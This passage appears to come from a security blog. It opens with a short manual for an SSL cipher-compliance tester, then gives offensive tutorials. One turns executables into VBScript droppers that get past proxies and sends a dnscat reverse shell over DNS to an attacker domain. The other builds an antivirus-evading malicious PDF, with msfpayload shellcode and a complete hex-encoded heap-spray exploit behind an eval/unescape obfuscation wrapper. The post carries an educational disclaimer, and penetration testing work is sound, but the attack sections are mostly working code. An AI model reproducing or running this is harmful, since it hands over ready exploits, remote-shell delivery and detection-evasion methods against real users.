        -l|--list       Lists ciphers checked by this tool and exits,
                        with output colour coded to indicate compliance
                        status with the selected standard (pci or ism).
                        Host and port values do not need to be provided
                        when using this option, as no host connection is
                        made.  Purely informational, so you can see what
                        ciphers are tested for, and which are deemed to be
                        compliant with the various standards.


If one or more protocol/s (SSLV2, SSLV3, TLSV1) are not specifically enabled,
tests for all protocols will be performed.  If you know that a host does not
support certain protocols (or does not properly close connection attempts made
using particular protocols) you can only include tests for the protocols you
are interested in to speed up the test.  If no compliance standard is
specifically enabled, or if more than one standard is enabled, the default
is to use the DSD ISM.


EXAMPLES:

/home/lupin/bin/ssltest.pl -vvrsi test.example.com 443

Performs testing on host test.example.com port 443, using the sslv3 protocol
(-s), and sslv2 protocol (-r), matches responses against the cipher
requirements in the ISM (-i) and provides double verbose output (-vv) where
ciphers unsupported by the destination host and connection attempts are printed
to screen.

/home/lupin/bin/ssltest.pl --list

Provides a list of all ciphers supported by the tool, colour coded to indicate
which ones are considered to be compliant with the ISM.  Add the --pci switch
to colour code listed ciphers for PCI compliance instead, or supply the --ssl2,
--ssl3 or --tls1 switches to only list ciphers appropriate to those protocols.

Here is the tool in action, performing a test of the SSL ciphers supported by www.google.com

lupin@lion:~$ ssltest.pl www.google.com 443
Checking for Supported SSLv2 Ciphers on www.google.com:443...
Checking for Supported SSLv3 Ciphers on www.google.com:443...
   DES-CBC3-SHA, 3DES 168 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   AES128-SHA, AES 128 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   AES256-SHA, AES 256 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   RC4-MD5, RC4 128 bits, RSA Authentication, MD5 MAC, RSA Key Exchange
   RC4-SHA, RC4 128 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
Checking for Supported TLSv1 Ciphers on www.google.com:443...
   DES-CBC3-SHA, 3DES 168 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   AES128-SHA, AES 128 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   AES256-SHA, AES 256 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   RC4-MD5, RC4 128 bits, RSA Authentication, MD5 MAC, RSA Key Exchange
   RC4-SHA, RC4 128 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange

I have reproduced above the colour coding the tool uses, a really helpful feature "borrowed" from Cryptonark, showing which ciphers are considered to be supported under the DSD ISM.  You can see from the above output that no SSlv2 ciphers are supported, and that some ciphers are coloured green, indicating that they are compliant with the selected standard of the ISM, and others are coloured red, indicating they are not.

Some ideas I have for the next revision of this tool are to have it verify that the hostname matches the common name on the certificate, to confirm the certificate has not expired, and possibly also to verify that the certificate is signed by a trusted certificate authority and has not been revoked.

You can download version 0.1 of the tool from here (this link will always point to the newest version of the tool):

Let me know if you try this tool out and find it useful.

Saturday, June 19, 2010

Bypassing Restrictive Proxies Part 1, Encoded Executables and DNS Tunneling

Uses for Download and Execute Script Shellcode

A little while back I posted my Download and Execute Script shellcode and mentioned that it could be used in bypassing restrictive proxy servers.  In this post I will give some quick examples of how you can actually do that.

The example scenarios I will describe are as follows, and involve having the script that is downloaded and executed:
  • write an arbitrary executable to disk and run it, or
  • open a reverse_http shell back through the restrictive proxy to the attackers system

Write an Executable to Disk and Run It

This scenario simply involves creating a vbscript file that contains an encoded copy of your chosen executable, that when run will decode the file, write it to disk, and then run it.  The end result of this is exactly the same as with regular download and execute shellcode, however unlike with regular download and execute shellcode this method will get past restrictive proxy servers that block files with executable content (you just need to make sure that the proxy server isn't also going to block pages with any of the script commands you have used, and if it does - obfuscate!). 

I was all set to write up a little program to automate this process of encoding an executable into a VBScript file, but then I stumbled onto the fact that a script to do this already exists - in Metasploit!

The script is called exe2vbs.rb and it sits inside the tools directory in the Metasploit 3 install directory.  Assuming your Metasploit3 install directory is /opt/metasploit3/ run it like so:

lupin@lion:~$ /opt/metasploit3/msf3/tools/exe2vbs.rb
    Usage: /opt/metasploit3/msf3/tools/exe2vbs.rb [exe] [vbs]

So as an example, if you want to encode your executable trojan.exe into a vbscript trojan.vbs, use the following command line

lupin@lion:~$ /opt/metasploit3/msf3/tools/exe2vbs.rb trojan.exe trojan.vbs
[*] Converted 282624 bytes of EXE into a vbs script

You now have a VB Script file that you can host on a webserver, which when run will write your encoded executable to disk and execute it.  Just rename the extension of the file to something innocuous like .tmp to bypass proxy filename filtering, stick the script file on a webserver, and create an exploit using the Download and Execute Script shellcode as demonstrated in the Usage Examples section of this post.

DNS Tunneling


What type of executables should you download onto the target system, supposing you actually want to do something useful on the target system and given that the system exists within a restrictive environment?  Well, one potential tool is Dnscat, which can allow you to tunnel a shell out of the network via DNS, a protocol which is likely to be allowed to communicate externally even in some restrictive environments. 

Running Dnscat to tunnel a shell out of a system does require some command line options to be used with the executable, however this is not a problem because you can add any necessary command line options to the executable bound into your script file by modifying the "run" line in the script file.  Lets look at an example:

Download the Windows version of Dnscat and encode like so:

lupin@lion:~/Downloads/nbtool/nbtool-0.04$ /opt/metasploit3/msf3/tools/exe2vbs.rb dnscat.exe dnscat.vbs
[*] Converted 121344 bytes of EXE into a vbs script

Then in the output vbs file look for a line similar to the following.  Your line will likely look a little different because the variable names are being randomised by the exe2vbs.rb script, but just keep your eye out for ".run" appearing at the end of the first word in a line near the end of the file.

cgbKynYWc.run CDWPYlgAnS, 0, true

Then modify this line to look like the following, replacing subdomain.example.com with your own DNS domain

cgbKynYWc.run CDWPYlgAnS & " --domain subdomain.example.com --exec ""cmd.exe""", 0, true

Essentially I have just added the following text to the line just before the first comma, these are the command line parameters that will be fed to the dsncat executable when it is run by the script:

& " --domain subdomain.example.com --exec ""cmd.exe"""

Once that is done execute the script on your victim machine using an exploit, and if you are running a dnscat listener on your attacking machine ('dnscat --listen' as root) when the script runs you will receive a shell back via DNS:

lupin@lion:~$ sudo dnscat --listen
Waiting for DNS requests for domain '*' on 0.0.0.0:53...
Timeout has occurred, resetting state
Received SYN!
Sending 'ACK'
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

Please note that this DNS shell tunneling method requires that your system be acting as the authorative name server for your chosen domain, AND it doesn't work in all environments (it certainly won't work when split DNS is implemented, but in some other cases it won't work either).  Read the dnscat wiki entry and this guide on DNS tunneling to learn more.  If you want to test this locally without having a nameserver for your own domain, add the "--dns 192.168.56.1" switch to the modified run command in your script, where 192.168.56.1 should be replaced with the IP address (don't use a DNS name) of your attacking system.

Note that directly specifying the IP address of your attacking system like this won't work in (properly configured) restrictive environments - direct client connections to external DNS servers should not be permitted and all DNS queries should be sent through the environments configured DNS server, in which case they will only reach your attacking system if its acting as an authorative name server for the chosen domain.

The next entry in this series will cover how to tunnel out a shell via the restrictive proxy itself, using some slightly modified Metasploit reverse_http code.

Sunday, June 13, 2010

Bypassing AntiVirus Detection for Malicious PDFs

Introduction

Recently I had to get a malicious PDF file past a virus scanner as part of a penetration test, and I thought I would share the process I used to do it.  But before I do so, lets get the standard disclaimer out of the way...

Warning! Please note that this tutorial is intended for educational purposes only, and you should NOT use the skills you gain here to attack any system for which you don't have permission to access. It's illegal in most jurisdictions to access a computer system without authorisation, and if you do it and get caught (which is likely) you deserve whatever you have coming to you. Don't say you haven't been warned.

In case you are in the position of also having to defend your organisation from these types of threats, I have listed some recommended mitigation strategies for these types of exploits at the bottom of this post.  Most are pretty straightforward to implement.

Now, on with the main attraction.  The method that I will be describing below will work for any malicious PDF that uses JavaScript to trigger an exploit.  This applies to a large number of the PDF vulnerabilities out there, including u3d_meshcont, flatedecode_predictor, geticon, collectemailinfo, utilprintf, etc.

Requirements

To follow along, you will need to have some skill in writing exploits, and some ability to write JavaScript (if you can at least read JavaScript you should be able to follow along based on the example JavaScript code I will provide).

You will need the following tools to create the malicious PDF:
  • pdftk.  Use 'apt-get install pdftk' to install on Debian/Ubuntu/BackTrack 4, or grab the install from here for other systems.
  • make-pdf tools.  Get it from here.
  • escapeencoder.pl.  A very simple perl script that takes a filename as input and outputs the file, hex encoded to STDOUT, available here.
  • rhino.  A JavaScript debugger, useful for testing our code to see if our obfuscation techniques are working as intended, available here.
  • Python.  Needed to run make-pdf tools, probably already on your system if you're running Linux, otherwise here.
  • Metaspoit and all its dependancies. (Ruby, etc, Im not listing them individually, go here for an installation guide)
  • A Java Runtime Engine.  Needed to run rhino.  Id be very surprised if you don't already have one installed, but if not go here.
  • Perl.  Needed to run escapeencoder.pl, probably already installed if you run Linux, otherwise start here.
  • A text editor that supports syntax highlighting for Javascipt.  Not strictly necessary, but it helps when modifying your JavaScript code.  I use gedit when using Ubuntu, or kate in BackTrack.

You also need to test that your malicious PDF works, and is not being detected by your target AV program.  For this, you will most likely want a Windows system which has:
  • The target PDF reader application installed.  Old versions of Adobe Reader can be downloaded from OldApps - I am using Adobe Acrobat Reader 7.0 for this demonstration.
  • The target AV program installed.  I am using Symantec Endpoint Protection 11 for this demonstration.

Note: Be warned that some online virus scanning services such as VirusTotal may provide samples of submitted files to AV vendors, so don't use them to test if your modified files are bypassing AV detection unless you want them to have a very short useful life for your Pentestng activities.

Summary of the Process

The basic process of creating our malicious PDF is pretty simple, and can be summarised in the following steps:
  1. Get your PDF exploit base Javascript code.
  2. Obfuscate the JavaScript code to avoid detection.
  3. Create a PDF file that automatically runs the JavaScript on opening of the document.
  4. Compress the PDF file to provide an additional level of detection avoidance (optional).

Now lets get into the detail.

Get the Exploit Javascript Code

Before we can begin trying to bypass AV detection of a malicious PDF file, we need to have access to the JavaScript exploit code (at least for the particular method I will be describing here).

One place that you can get the JavaScript exploit code for your chosen PDF vulnerability is to extract it from an existing exploit, such as one created using Metasploit.  I have documented the process for doing this here.

Example Exploit Code

Personally I have had trouble getting the Metasploit PDF examples working on my chosen target Acrobat Reader version 7.00, so I chose to make use of JavaScript exploit code for the collectemailinfo vulnerability that I found "in the wild".  Here it is below, tidied up a bit with the variable names made a bit more meaningful and the nasty shellcode removed.



Doh! While I previously had this code above inline-quoted, this was apparently causing this blog entry to be detected as malicious code by certain virus scanners.  Oh the irony.  Probably should have seen that one coming huh?  Now, until I find a better method, Im displaying a picture of the code instead of the code itself, and you get to type it in.  Fun huh?

If you have done my Heap Spray tutorial some of the code above should be looking familiar to you by now.  This code is quite reliable at getting code execution on Windows XP SP2 or SP3 with Acrobat Reader  7.0 installed.  It only has one issue, in that it tends to run certain payloads twice, which you just need to be aware of and work around.

To confirm that this code works, we will want to add some shellcode in JavaScript unicode format into the appropriate variable in the HeapSpray function.  Lets generate some shellcode to run calc.exe in JavaScript format...

To confirm that this code works, we will want to add some shellcode in JavaScript unicode format into the appropriate variable in the HeapSpray function.  Lets generate some shellcode to run calc.exe in JavaScript format using Metasploits msfpayload command...

lupin@lion:~$ msfpayload windows/exec CMD=calc.exe J
// windows/exec - 200 bytes
// http://www.metasploit.com
// EXITFUNC=process, CMD=calc.exe
%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065

...and now we can stick it into our JavaScript exploit code (into the Shellcode variable).


Yep, another picture to avoid this blog post instructing you how to avoid AV from being detected as a virus.  If you have already typed in the code from the previous picture, you can just edit that document to match this one by putting your Metasploit generated shellcode into the shellcode variable. 

To confirm this works, we will load this into a PDF document and set it to autorun using make-pdf tools.  Save the malicious script as script1.js, and create a PDF file evil.pdf like so.

lupin@lion:~$ make-pdf-javascript.py -f script1.js evil.pdf

Now we copy it to the victim system and open it, taking care to disable the Autoprotect function of our AV client first, and BAM!!! we have calculator!  (Probably two of them actually, since this exploit ends up running the shellcode twice).



But when we scan the PDF file, we see it is detected as a virus, and if we had not disabled the Autoprotect feature of the AV client first, it would have snagged the file before we even got to run it.



So at this point we have a malicious PDF file which we know works, but it's getting detected as a virus by our scanner, which under normal circumstances would prevent it from being opened.  How do we get around this?

What Makes this a Virus?

Lets think for a moment about how our AV scanner is recognising our PDF file as malicious.  If we cat the file to STDOUT, you can see the structure of the PDF file, which is essentially text based.

The structure of the PDF file itself is actually very simple, with the majority of the "lines" in the file being standard PDF structuring text, along with the malicious JavaScript sitting in the middle.  Since the majority of the contents of the file appears to be PDF structure data, all that could be used to differentiate this "bad" PDF file from a normal PDF file is sitting inside that block of JavaScript we inserted.  Based on this, it's reasonable to assume that the JavaScript itself is what is causing the virus detection.  We dont just have to assume this though, we can test it.  Try inserting this do-nothing and extremely self aggrandizing snippet of JavaScript below (lupinrocks.js) into a PDF file and scanning it with your AV.

Write the following code to lupinrocks.js:

var a = "Lupin rocks!";

Make the PDF:

lupin@lion:~$ make-pdf-javascript.py -f lupinrocks.js nice.pdf

And now stick it on your Windows box and scan it.  No virus detection right?  You can even cat this nice.pdf file as well to see the difference between it and our evil copy.  The difference is all in the JavaScript.

Note: If your nice.pdf IS being detected as a virus by your AV scanner, then the most likely explanation is that some enterprising AV signature writer has decided to create a signature for PDF files created using make-pdf tools.  If that's the case then changing some pattern in the file thats unique to the way that make-pdf creates PDF files should provide a fix.  Id start with the line containing "JavaScript example".  If that doesn't work you can start reading the PDF Reference from Adobe or Didier Steven's blog to get a better understanding of the PDF file format to get a better idea of how to modify the file without breaking it.    
So if the scanner is picking up the JavaScript as malicious, common sense tells us that modifying the JavaScript should allow us to escape detection.  That leads us to the step of obfuscating the JavaScript.

Obfuscate the JavaScript code

Obfuscating our JavaScript code can be done in a number of different ways, and sometimes very minor changes can stop an AV product from detecting that anything is amiss.  For example, I was able to bypass AV detection for my file just by rewriting certain parts of the code to make my copy of the exploit slightly more elegant.  Assuming a simple "tidy" doesn't fix the problem for you though, lets look at some other ways in which we can obfuscate JavaScript code.

JavaScript Obfuscation Techniques

The following is not intended as an exhaustive reference to JavaScript obfuscation, but it should serve at least as a useful introduction to the topic, and should allow you to start obfuscating your own JavaScript code.

Obfuscation of code can be used in order to make non-compiled code less readable by a human, and to hide particular commands from automated detection mechanisms, such as those used by virus scanners, intrusion detection systems, and the like.

Some of the techniques used for obfuscating code are as follows:
  • Remove spacing and carriage returns from the code to make the code less readable to a human (the code still must be structured according to the requirements of the appropriate programming language in order to run however).
  • Rename variables in the code to make them less meaningful and less easily recognised by a human (this might also help you avoid badly designed filters looking for variables or functions named shellcode or heapspray). 
  • Insert garbage comments into the code to make the code more difficult for a human to read and to potentially confuse certain filters which are looking for two terms to appear close together. 
  • Creating aliases for functions.  JavaScript allows us to create aliases for existing built in functions, allowing us to substitute our own function names in the code.
  • Encode elements of the code itself, for decoding at runtime.  This is one of the more effective ways to make code less comprehensible to both humans and automated systems.
Personally I'm less concerned about making this unreadable to a human and more concerned with the methods that help foil automated analysis, so I will concentrate on the garbage comment, function aliasing and encoding methods of obfuscation below.  Of these methods, the garbage comment and function aliasing methods are very straightforward to demonstrate, but the encoding method probably requires some programming language specific explanation, so we will briefly discuss some of the ways in which this can be achieved in JavaScript.

JavaScript has a number of Functions and Methods that are useful for encoding information, as listed below:
  • Unescape.  The unescape() function is used to decode a string encoded in either a single or double byte hex format. 
  • Eval.  The eval() function is used to take an input string and then run that string as if it were code.
  • Replace.  The .replace() method is used to replace one pattern with another in a string.  It is a method of an instance of the string object.
  • FromCharCode.  The String.fromCharCode() method is used to create a string from a set of character codes.  It is a method of the JavaScript String object, and takes decimal values as input.
The best way to demonstrate how these functions and methods are used in encoding information would be to actually show you.

Example Obfuscated Code

The following file, which we will call encoded1.js, is actually an encoded version of script1.js, made using some of the techniques I have discussed above.

blah='gh76gh61gh72gh20gh4dgh65gh6dgh41gh72gh72gh61gh79gh20gh3dgh20gh6egh65gh77gh20gh41gh72gh72gh61gh79gh28gh29gh3bgh0agh0agh66gh75gh6egh63gh74gh69gh6fgh6egh20gh66gh75gh6egh63gh74gh69gh6fgh6egh31gh28gh76gh61gh72gh31gh2cgh20gh76gh61gh72gh32gh29gh7bgh0agh09gh77gh68gh69gh6cgh65gh20gh28gh76gh61gh72gh31gh2egh6cgh65gh6egh67gh74gh68gh20gh2agh20gh32gh20gh3cgh20gh76gh61gh72gh32gh29gh7bgh0agh09gh09gh76gh61gh72gh31gh20gh2bgh3dgh20gh76gh61gh72gh31gh3bgh0agh09gh7dgh0agh09gh76gh61gh72gh31gh20gh3dgh20gh76gh61gh72gh31gh2egh73gh75gh62gh73gh74gh72gh69gh6egh67gh28gh30gh2cgh20gh76gh61gh72gh32gh20gh2fgh20gh32gh29gh3bgh0agh09gh72gh65gh74gh75gh72gh6egh20gh76gh61gh72gh31gh3bgh0agh7dgh0agh0agh66gh75gh6egh63gh74gh69gh6fgh6egh20gh48gh65gh61gh70gh53gh70gh72gh61gh79gh28gh69gh6egh70gh75gh74gh29gh7bgh0agh09gh76gh61gh72gh20gh53gh70gh72gh61gh79gh76gh61gh6cgh20gh3dgh20gh30gh78gh30gh63gh30gh63gh30gh63gh30gh63gh3bgh0agh09gh53gh68gh65gh6cgh6cgh63gh6fgh64gh65gh20gh3dgh20gh75gh6egh65gh73gh63gh61gh70gh65gh28gh22gh25gh75gh65gh38gh66gh63gh25gh75gh30gh30gh38gh39gh25gh75gh30gh30gh30gh30gh25gh75gh38gh39gh36gh30gh25gh75gh33gh31gh65gh35gh25gh75gh36gh34gh64gh32gh25gh75gh35gh32gh38gh62gh25gh75gh38gh62gh33gh30gh25gh75gh30gh63gh35gh32gh25gh75gh35gh32gh38gh62gh25gh75gh38gh62gh31gh34gh25gh75gh32gh38gh37gh32gh25gh75gh62gh37gh30gh66gh25gh75gh32gh36gh34gh61gh25gh75gh66gh66gh33gh31gh25gh75gh63gh30gh33gh31gh25gh75gh33gh63gh61gh63gh25gh75gh37gh63gh36gh31gh25gh75gh32gh63gh30gh32gh25gh75gh63gh31gh32gh30gh25gh75gh30gh64gh63gh66gh25gh75gh63gh37gh30gh31gh25gh75gh66gh30gh65gh32gh25gh75gh35gh37gh35gh32gh25gh75gh35gh32gh38gh62gh25gh75gh38gh62gh31gh30gh25gh75gh33gh63gh34gh32gh25gh75gh64gh30gh30gh31gh25gh75gh34gh30gh38gh62gh25gh75gh38gh35gh37gh38gh25gh75gh37gh34gh63gh30gh25gh75gh30gh31gh34gh61gh25gh75gh35gh30gh64gh30gh25gh75gh34gh38gh38gh62gh25gh75gh38gh62gh31gh38gh25gh75gh32gh30gh35gh38gh25gh75gh64gh33gh30gh31gh25gh75gh33gh63gh65gh33gh25gh75gh38gh62gh34gh39gh25gh75gh38gh62gh33gh34gh25gh75gh64gh36gh30gh31gh25gh75gh66gh66gh33gh31gh25gh75gh63gh30gh33gh31gh25gh75gh63gh31gh61gh63gh25gh75gh30gh64gh63gh66gh25gh75gh63gh37gh30gh31gh25gh75gh65gh30gh33gh38gh25gh75gh66gh34gh37gh35gh25gh75gh37gh64gh30gh33gh25gh75gh33gh62gh66gh38gh25gh75gh32gh34gh37gh64gh25gh75gh65gh32gh37gh35gh25gh75gh38gh62gh35gh38gh25gh75gh32gh34gh35gh38gh25gh75gh64gh33gh30gh31gh25gh75gh38gh62gh36gh36gh25gh75gh34gh62gh30gh63gh25gh75gh35gh38gh38gh62gh25gh75gh30gh31gh31gh63gh25gh75gh38gh62gh64gh33gh25gh75gh38gh62gh30gh34gh25gh75gh64gh30gh30gh31gh25gh75gh34gh34gh38gh39gh25gh75gh32gh34gh32gh34gh25gh75gh35gh62gh35gh62gh25gh75gh35gh39gh36gh31gh25gh75gh35gh31gh35gh61gh25gh75gh65gh30gh66gh66gh25gh75gh35gh66gh35gh38gh25gh75gh38gh62gh35gh61gh25gh75gh65gh62gh31gh32gh25gh75gh35gh64gh38gh36gh25gh75gh30gh31gh36gh61gh25gh75gh38gh35gh38gh64gh25gh75gh30gh30gh62gh39gh25gh75gh30gh30gh30gh30gh25gh75gh36gh38gh35gh30gh25gh75gh38gh62gh33gh31gh25gh75gh38gh37gh36gh66gh25gh75gh64gh35gh66gh66gh25gh75gh66gh30gh62gh62gh25gh75gh61gh32gh62gh35gh25gh75gh36gh38gh35gh36gh25gh75gh39gh35gh61gh36gh25gh75gh39gh64gh62gh64gh25gh75gh64gh35gh66gh66gh25gh75gh30gh36gh33gh63gh25gh75gh30gh61gh37gh63gh25gh75gh66gh62gh38gh30gh25gh75gh37gh35gh65gh30gh25gh75gh62gh62gh30gh35gh25gh75gh31gh33gh34gh37gh25gh75gh36gh66gh37gh32gh25gh75gh30gh30gh36gh61gh25gh75gh66gh66gh35gh33gh25gh75gh36gh33gh64gh35gh25gh75gh36gh63gh36gh31gh25gh75gh32gh65gh36gh33gh25gh75gh37gh38gh36gh35gh25gh75gh30gh30gh36gh35gh22gh29gh3bgh0agh09gh69gh66gh20gh28gh69gh6egh70gh75gh74gh20gh3dgh3dgh20gh31gh29gh7bgh0agh09gh09gh53gh70gh72gh61gh79gh76gh61gh6cgh20gh3dgh20gh30gh78gh33gh30gh33gh30gh33gh30gh33gh30gh3bgh0agh09gh7dgh0agh09gh76gh61gh72gh20gh63gh6fgh6egh73gh74gh30gh31gh20gh3dgh20gh30gh78gh34gh30gh30gh30gh30gh30gh3bgh0agh09gh76gh61gh72gh20gh53gh63gh4cgh65gh6egh67gh74gh68gh20gh3dgh20gh53gh68gh65gh6cgh6cgh63gh6fgh64gh65gh2egh6cgh65gh6egh67gh74gh68gh20gh2agh20gh32gh3bgh0agh09gh76gh61gh72gh20gh6egh6fgh70gh6cgh65gh6egh67gh74gh68gh20gh3dgh20gh63gh6fgh6egh73gh74gh30gh31gh20gh2dgh20gh28gh53gh63gh4cgh65gh6egh67gh74gh68gh20gh2bgh20gh30gh78gh33gh38gh29gh3bgh0agh09gh76gh61gh72gh20gh6egh6fgh70gh20gh3dgh20gh75gh6egh65gh73gh63gh61gh70gh65gh28gh22gh25gh75gh39gh30gh39gh30gh25gh75gh39gh30gh39gh30gh22gh29gh3bgh0agh09gh6egh6fgh70gh20gh3dgh20gh66gh75gh6egh63gh74gh69gh6fgh6egh31gh28gh6egh6fgh70gh2cgh20gh6egh6fgh70gh6cgh65gh6egh67gh74gh68gh29gh3bgh0agh09gh76gh61gh72gh20gh61gh72gh72gh61gh79gh73gh69gh7agh65gh20gh3dgh20gh28gh53gh70gh72gh61gh79gh76gh61gh6cgh20gh2dgh20gh63gh6fgh6egh73gh74gh30gh31gh29gh20gh2fgh20gh63gh6fgh6egh73gh74gh30gh31gh3bgh0agh09gh66gh6fgh72gh20gh28gh76gh61gh72gh20gh61gh20gh3dgh20gh30gh3bgh20gh61gh20gh3cgh20gh61gh72gh72gh61gh79gh73gh69gh7agh65gh3bgh20gh61gh20gh2bgh2bgh20gh29gh7bgh0agh09gh09gh4dgh65gh6dgh41gh72gh72gh61gh79gh5bgh61gh5dgh20gh3dgh20gh6egh6fgh70gh20gh2bgh20gh53gh68gh65gh6cgh6cgh63gh6fgh64gh65gh3bgh0agh09gh7dgh0agh7dgh0agh0agh66gh75gh6egh63gh74gh69gh6fgh6egh20gh53gh70gh6cgh6fgh69gh74gh28gh29gh7bgh0agh09gh48gh65gh61gh70gh53gh70gh72gh61gh79gh28gh30gh29gh3bgh0agh09gh76gh61gh72gh20gh63gh73gh6cgh65gh64gh20gh3dgh20gh75gh6egh65gh73gh63gh61gh70gh65gh28gh22gh25gh75gh30gh63gh30gh63gh25gh75gh30gh63gh30gh63gh22gh29gh3bgh0agh09gh77gh68gh69gh6cgh65gh20gh28gh63gh73gh6cgh65gh64gh2egh6cgh65gh6egh67gh74gh68gh20gh3cgh20gh34gh34gh39gh35gh32gh29gh20gh63gh73gh6cgh65gh64gh20gh2bgh3dgh20gh63gh73gh6cgh65gh64gh3bgh0agh09gh74gh68gh69gh73gh20gh2egh63gh6fgh6cgh6cgh61gh62gh53gh74gh6fgh72gh65gh20gh3dgh20gh43gh6fgh6cgh6cgh61gh62gh2egh63gh6fgh6cgh6cgh65gh63gh74gh45gh6dgh61gh69gh6cgh49gh6egh66gh6fgh28gh7bgh73gh75gh62gh6agh20gh3agh20gh22gh22gh2cgh20gh6dgh73gh67gh20gh3agh20gh63gh73gh6cgh65gh64gh7dgh29gh3bgh0agh7dgh0agh0agh53gh70gh6cgh6fgh69gh74gh28gh29gh3bgh0a';

rep1 = '%';
repbit1 = 'g';
repbit2 = 'h';

bfbits = [117, 110, 101, 115, 99, 97, 112, 101];

bftext = '';
for (i=0; i
    bftext += String./* blah garbage comment blah */fromCharCode(bfbits[i]);
}


blahstring="var blahfunction1=" + bftext;
eval(blahstring);

rep =repbit1 + repbit2;
ume = blah.replace(new RegExp(rep, "g"), rep1);
eme = blahfunction1(ume);

eval(eme);

 Purpose of the Obfuscated Code

Lets discuss what this JavaScript code is actually doing, taking it section by section.

The first line, which sets the variable of blah, actually contains an encoded form of the script1.js script.  We perform this encoding by using the escapeencoder.pl perl script, which will encode each byte in the file into its hex equivalent (e.g. the lower case 'a' becomes '%61') and then running the output through sed to replace the '%' character with 'gh'.  The following command line achieves this and writes the content to basetext.txt, which you can then copy and paste into the script (make sure escapeencoder.pl is in your path and marked executable).

lupin@lion:~$ escapeencoder.pl script1.js | sed 's/%/gh/g' > basetext.txt

Please note that the replacement values of gh have been chosen specifically because they DO NOT already appear in the encoded output of the script1.js script.  This fact becomes very important when we come to decoding this again later.  Essentially any set of values can be used when doing this, as long as they don't already appear in the encoded output.

The next three lines set the variables of rep1, repbit1 and repbit2, which we will use later on in the script when we are decoding our encoded script.

rep1 = '%';
repbit1 = 'g';
repbit2 = 'h';

The next line creates the bfbits array, which contains a few decimal values.  The ASCII equivalents of these values are the characters 'u', 'n', 'e', 's', 'c', 'a', 'p', 'e', which when joined together form the word 'unescape'.

bfbits = [117, 110, 101, 115, 99, 97, 112, 101];

The next four lines assign the string 'unescape' to the variable bfbits by creating the variable and then for looping through the bfbits array, using the fromCharCode String method to decode the decimal values into a text string.  A garbage comment has been thrown between the String object and the fromCharCode method in order to confuse analysis a little (ordinarily this would appear as String.fromCharCode).

bftext = '';
for (i=0; i
    bftext += String./* blah garbage comment blah */fromCharCode(bfbits[i]);
}

The next two lines create an alias function for unescape(), called blahfunction1.  We basically create a line of code that assigns blahfunction1 as an alias of unescape into the blahstring variable, and then run that as code using eval(blahstring).

blahstring="var blahfunction1=" + bftext;
eval(blahstring);

The next three lines replace instances of 'gh' in the string blah with '%' and places the decoded JavaScript into a variable.  First we assign the value 'gh' into variable rep, then in the next line of code we replace all instances of 'gh' in the variable blah with '%' and store the output in variable 'ume'.  We then use our aliased function for unescape, blahfunction1, to decode the value of 'ume' and store the result in variable 'eme'.  The variable eme now essentialy has an exact code of our initial code from script1.js.

rep =repbit1 + repbit2;
ume = blah.replace(new RegExp(rep, "g"), rep1);
eme = blahfunction1(ume);

The final line then runs the variable 'eme' as code, and completes our exploit.

eval(eme);

Confirming correct code execution using Rhino

Now at this point you might be thinking that its all well and good for me to be able to explain the purpose of this code, but how do you get to check for yourself what it does and whether its working?  What if you make a typo when entering the code, or if you try and use a function or a method in a way that is not supported?  This is where a JavaScript debugger comes in handy, so you can step through the code, or run just a few sections of it, to ensure it is doing what you intended.

I use the Rhino JavaScript debugger for this.  To run it, you just download the .zip archive from the link provided above, unzip it to disk and access the JavaScript Debugger functionality from within the js-14.jar file.  I like to copy js-14.jar to /opt/rhino/ and create a runrhino.sh script in the same directory that contains the following command line:

java -cp /opt/rhino/js-14.jar org.mozilla.javascript.tools.debugger.Main &

Then just /opt/runrhino.sh and Rhino will start.  In the Rhino window you will notice buttons labeled Go, Step Into, Step Over and Step Out, which control how the debugger will debug code.  Basically, Go means run the code until a breakpoint or the end of the code is reached, Step Into means execute the current line of code entering into the code of a sub function if selected, Step Over means execute the current line of code but dont enter into the code of functions, and Step Out means to continue execution until the current function exits.  A more complete description of the use of the debugger is here.



To run a script from within Rhino, just select the script file from its location on disk using the File->Run... menu option in Rhino, and it should open up and pause execution at the first line of code. The current line of code the the debugger is looking to evaluate is indicated by a yellow arrow along the left hand side of the code display window.


At this point it is important to understand that the Rhino debugger cannot run any JavaScript methods or functions that are specific to particular applications such as Acrobat Reader or a web browser such as Firefox or Internet Explorer.  This means that we cannot use Rhino to run our script all of the way through - you will receive an error 'ReferenceError:"Collab" is not defined.' if you try.  We can however run it far enough to tell whether our JavaScript encoding is working as expected.

In the screenshot below I have stepped to the final line of my encoded1.js script (as you can see by the position of the yellow arrow), and I have used the Evaluate tab in the bottom right hand corner of the screen to show me the values of variables such as bftext, rep and blahstring.  Just click on the Evaluate tab, type in the name of the appropriate variable and hit Enter to see its assigned value at that point in the execution of the JavaScript code.


Just by the virtue of having gotten this far in the code I know that:
  • The Javascript up to that point is syntactically correct (the fact that the script loaded at all into Rhino can also confirm this to some extent) AND
  • The JavaScript code is setting the variables I have checked to the values I intended.

Essentially, this means that the JavaScript encoding is working the way I intended it to.  I can even check at this stage that the eme variable contains the code from script1.js.


